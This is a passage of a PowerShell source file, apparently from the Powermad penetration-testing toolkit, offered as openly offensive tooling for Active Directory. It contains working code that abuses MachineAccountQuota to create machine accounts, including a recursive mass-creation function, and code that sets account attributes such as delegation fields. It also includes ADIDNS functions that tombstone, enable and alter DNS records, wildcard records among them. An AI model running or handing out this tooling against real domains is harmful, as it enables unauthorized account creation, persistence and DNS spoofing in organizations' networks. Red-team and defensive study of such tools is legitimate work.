$current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + try + { + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + $machine_account_searcher = New-Object DirectoryServices.DirectorySearcher + $machine_account_searcher.SearchRoot = $directory_entry + $machine_account_searcher.PageSize = 1000 + $machine_account_searcher.Filter = '(&(ms-ds-creatorsid=*))' + $machine_account_searcher.SearchScope = 'Subtree' + $machine_accounts = $machine_account_searcher.FindAll() + $creator_object_list = @() + + ForEach($account in $machine_accounts) + { + $creator_SID_object = $account.properties."ms-ds-creatorsid" + + if($creator_SID_object) + { + $creator_SID = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID_object[0],0)).Value + $creator_object = New-Object PSObject + + try + { + + if($Credential) + { + $creator_account = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/",$Credential.UserName,$credential.GetNetworkCredential().Password) + $creator_account_array = $($creator_account.distinguishedName).Split(",") + $creator_username = $creator_account_array[($creator_account_array.Length - 2)].SubString(3).ToUpper() + "\" + $creator_account_array[0].SubString(3) + } + else + { + $creator_username = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID)).Translate([System.Security.Principal.NTAccount]).Value + } + + Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_username + } + catch + { + Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_SID + } + + Add-Member -InputObject $creator_object -MemberType NoteProperty -Name "Machine Account" $account.properties.name[0] + $creator_object_list += $creator_object + $creator_SID_object = $null + } + + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + Write-Output $creator_object_list | Sort-Object -property @{Expression = {$_.Creator}; Ascending = $false}, "Machine Account" | Format-Table -AutoSize + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Invoke-AgentSmith +{ + <# + .SYNOPSIS + This function leverages New-MachineAccount to recursively create as as many machine accounts as possible + from a single unprivileged account through MachineAccountQuota. With a default MachineAccountQuota of 10, + the most common result will be 110 accounts. This is due to the transitive quota of Q + Q * 1 where Q + equals the MachineAccountQuota setting. The transitive quota can often be exceeded to the total number of + created accounts can vary. I wouldn't recommend running this one on a client network unless you have a + good reason. + + .DESCRIPTION + This function leverages New-MachineAccount to recursively create as as many machine accounts as possible + from a single unprivileged account through MachineAccountQuota. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Credential + PSCredential object that will be used enumerate machine account creators. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Domain + The targeted domain in netBIOS format. This will be used to create the PSCredential object as the function cycles + through the machine accounts. + + .PARAMETER MachineAccountPrefix + The prefix for the machine account names. The prefix will be incremented by one for each account creation attempt. + + .PARAMETER MachineAccountQuota + The domain's MachineAccountQuota setting. + + .PARAMETER NoWarning + Switch to remove the warning prompt. + + .PARAMETER Password + The securestring of the password for the machine accounts. + + .PARAMETER Sleep + The delay in milliseconds between account creation attempts. + + .EXAMPLE + Invoke-AgentSmith -MachineAccountPrefix test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$NetBIOSDomain, + [parameter(Mandatory=$false)][String]$MachineAccountPrefix = "AgentSmith", + [parameter(Mandatory=$false)][Int]$MachineAccountQuota = 10, + [parameter(Mandatory=$false)][Int]$Sleep = 0, + [parameter(Mandatory=$false)][System.Security.SecureString]$Password, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(Mandatory=$false)][Switch]$NoWarning, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + $i = 0 + $j = 1 + $k = 1 + $MachineAccountQuota-- + + if(!$NoWarning) + { + $confirm_invoke = Read-Host -Prompt "Are you sure you want to do this? (Y/N)" + } + + if(!$Password) + { + $password = Read-Host -Prompt "Enter a password for the new machine accounts" -AsSecureString + } + + if(!$NetBIOSDomain) + { + + try + { + $NetBIOSDomain = (Get-ChildItem -path env:userdomain).Value + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if($confirm_invoke -eq 'Y' -or $NoWarning) + { + + :main_loop while($i -le $MachineAccountQuota) + { + $MachineAccount = $MachineAccountPrefix + $j + + try + { + $output = New-MachineAccount -MachineAccount $MachineAccount -Credential $Credential -Password $Password -Domain $Domain -DomainController $DomainController -DistinguishedName $DistinguishedName + + if($output -like "*The server cannot handle directory requests*") + { + Write-Output "[-] Limit reached with $account" + $switch_account = $true + $j-- + } + else + { + Write-Output $output + $success = $j + } + + } + catch + { + + if($_.Exception.Message -like "*The supplied credential is invalid*") + { + + if($j -gt $success) + { + Write-Output "[-] Machine account $account was not added" + Write-Output "[-] No remaining machine accounts to try" + Write-Output "[+] Total machine accounts added = $($j - 1)" + break main_loop + } + + $switch_account = $true + $j-- + } + else + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + + if($i -eq 0) + { + $account = "$NetBIOSDomain\$MachineAccountPrefix" + $k + "$" + } + + if($i -eq $MachineAccountQuota -or $switch_account) + { + Write-Output "[*] Trying machine account $account" + $credential = New-Object System.Management.Automation.PSCredential ($account, $password) + $i = 0 + $k++ + $switch_account = $false + } + else + { + $i++ + } + + $j++ + + Start-Sleep -Milliseconds $Sleep + } + + } + else + { + Write-Output "[-] Function exited without adding machine accounts" + } + +} + +function New-MachineAccount +{ + <# + .SYNOPSIS + This function adds a machine account with a specified password to Active Directory through an encrypted LDAP + add request. By default standard domain users can add up to 10 systems to AD (see ms-DS-MachineAccountQuota). + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + The main purpose of this function is to leverage the default ms-DS-MachineAccountQuota attribute setting which + allows all domain users to add up to 10 computers to a domain. The machine account and HOST SPNs are added + directly through an LDAP connection to a domain controller and not by attaching the host system to Active + Directory. This function does not modify the domain attachment and machine account associated with the host + system. + + Note that you will not be able to remove the account without elevating privilege. You can however disable the + account as long as you maintain access to the account used to create the machine account. + + .PARAMETER Credential + PSCredential object that will be used to create the machine account. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER MachineAccount + The machine account that will be added. + + .PARAMETER Password + The securestring of the password for the machine account. + + .EXAMPLE + Add a machine account named test. + New-MachineAccount -MachineAccount test + + .EXAMPLE + Add a machine account named test with a password of Summer2018!. + $machine_account_password = ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force + New-MachineAccount -MachineAccount test -Password $machine_account_password + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Security.SecureString]$Password, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") + + if(!$Password) + { + $password = Read-Host -Prompt "Enter a password for the new machine account" -AsSecureString + } + + $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) + $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + $Domain = $Domain.ToLower() + $machine_account = $MachineAccount + + if($MachineAccount.EndsWith('$')) + { + $sam_account = $machine_account + $machine_account = $machine_account.SubString(0,$machine_account.Length - 1) + } + else + { + $sam_account = $machine_account + "$" + } + + Write-Verbose "[+] SAMAccountName = $sam_account" + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + $password_cleartext = [System.Text.Encoding]::Unicode.GetBytes('"' + $password_cleartext + '"') + $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) + + if($Credential) + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential()) + } + else + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) + } + + $connection.SessionOptions.Sealing = $true + $connection.SessionOptions.Signing = $true + $connection.Bind() + $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest + $request.DistinguishedName = $distinguished_name + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$sam_account)) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","4096")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$machine_account.$Domain")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$machine_account.$Domain", + "RestrictedKrbHost/$machine_account.$Domain","HOST/$machine_account","RestrictedKrbHost/$machine_account")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$password_cleartext)) > $null + Remove-Variable password_cleartext + + try + { + $connection.SendRequest($request) > $null + Write-Output "[+] Machine account $MachineAccount added" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + + if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*') + { + Write-Output "[!] User may have reached ms-DS-MachineAccountQuota limit" + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Remove-MachineAccount +{ + <# + .SYNOPSIS + This function removes a machine account with a privileged account. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + Machine accounts added with MachineAccountQuote cannot be deleted with an unprivileged user. Although users + can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is + just left in a disabled state. This function provides the ability to delete a machine account once a + privileged account has been obtained. + + .PARAMETER Credential + PSCredential object that will be used to delete the ADIDNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The machine account that will be removed. + + .EXAMPLE + Remove a machine account named test with domain admin credentials. + Remove-MachineAccount -MachineAccount test -Credential $domainadmin + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.psbase.DeleteTree() + Write-Output "[+] Machine account $MachineAccount removed" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Set-MachineAccountAttribute +{ + <# + .SYNOPSIS + This function can populate an attribute for an account that was added through New-MachineAccount. Write + access to the attribute is required. This function should be used with the same user that created the + machine account. + + .DESCRIPTION + The user account that creates a machine account is granted write access to some attributes. These attributes + can be leveraged to help an added machine account blend in better or change values that were restricted by + validation when the account was created. + + Here is a list of some of the usual write access enabled attributes: + + AccountDisabled + description + displayName + DnsHostName + ServicePrincipalName + userParameters + userAccountControl + msDS-AdditionalDnsHostName + msDS-AllowedToActOnBehalfOfOtherIdentity + SamAccountName + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Append + Switch: Appends a value rather than overwriting. + + .PARAMETER Credential + PSCredential object that will be used to modify the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The username of the machine account that will be modified. + + .PARAMETER Attribute + The machine account attribute. + + .PARAMETER Value + The machine account attribute value. + + .EXAMPLE + Set the description attribute to a value of "test value" on a machine account named test. + Set-MachineAccountAttribute -MachineAccount test -Attribute description -Value "test value" + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$true)]$Value, + [parameter(Mandatory=$false)][Switch]$Append, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + + if($Append) + { + $directory_entry.$Attribute.Add($Value) > $null + $directory_entry.SetInfo() + Write-Output "[+] Machine account $machine_account attribute $Attribute appended" + } + else + { + $directory_entry.InvokeSet($Attribute,$Value) + $directory_entry.SetInfo() + Write-Output "[+] Machine account $machine_account attribute $Attribute updated" + } + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +#endregion + +#region begin DNS Functions + +function Disable-ADIDNSNode +{ + <# + .SYNOPSIS + This function can tombstone an ADIDNS node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function deletes a DNS record by setting an ADIDNS node's dnsTombstoned attribute to 'True' and the + dnsRecord attribute to a zero type array. Note that the node remains in AD. + + .PARAMETER Credential + PSCredential object that will be used to tombstone the DNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Tombstone a wildcard record. + Disable-ADIDNSNode -Node * + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + try + { + $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + $timestamp = [int64](([datetime]::UtcNow.Ticks)-(Get-Date "1/1/1601").Ticks) + $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) + $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} + + [Byte[]]$DNS_record = 0x08,0x00,0x00,0x00,0x05,0x00,0x00,0x00 + + $SOASerialNumberArray[0..3] + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $timestamp + + Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNS_record))" + + try + { + $directory_entry.InvokeSet('dnsRecord',$DNS_record) + $directory_entry.InvokeSet('dnsTombstoned',$true) + $directory_entry.SetInfo() + Write-Output "[+] ADIDNS node $Node tombstoned" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Enable-ADIDNSNode +{ + <# + .SYNOPSIS + This function can turn a tombstoned node back into a valid record. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can turn a tombstoned node back into a valid record. This function should be used in place of + New-ADIDNSNode when working with nodes that already exist due to being previously added. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to modify the attribute. + + .PARAMETER Data + For most record types this will be the destination hostname or IP address. For TXT records this can be used + for data. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER DNSRecord + DNSRecord byte array. See MS-DNSP for details on the dnsRecord structure. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Port + SRV record port. + + .PARAMETER Preference + MX record preference. + + .PARAMETER Priority + SRV record priority. + + .PARAMETER Tombstone + Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that + allows it to be modified or fully tombstoned by any authenticated user. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Static + Switch: Zeros out the timestamp to create a static record instead of a dynamic. + + .PARAMETER TTL + Default = 600: DNS record TTL. + + .PARAMETER Type + Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT. + + .PARAMETER Weight + SRV record weight. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Enable a wildcard record. + Enable-ADIDNSNode -Node * + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Byte[]]$DNSRecord, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(Mandatory=$false)][Switch]$Tombstone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if(!$DNSRecord) + { + + try + { + + if($Static) + { + $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static + } + else + { + $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone + } + + Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.InvokeSet('dnsRecord',$DNSRecord) + $directory_entry.SetInfo() + Write-Output "[+] ADIDNS node $Node enabled" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Get-ADIDNSNodeAttribute +{ + <# + .SYNOPSIS + This function can return values populated in an ADIDNS node attribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to retrn an ADIDNS node attribute such as a dnsRecord array. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the dnsRecord attribute value of a node named test. + Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] 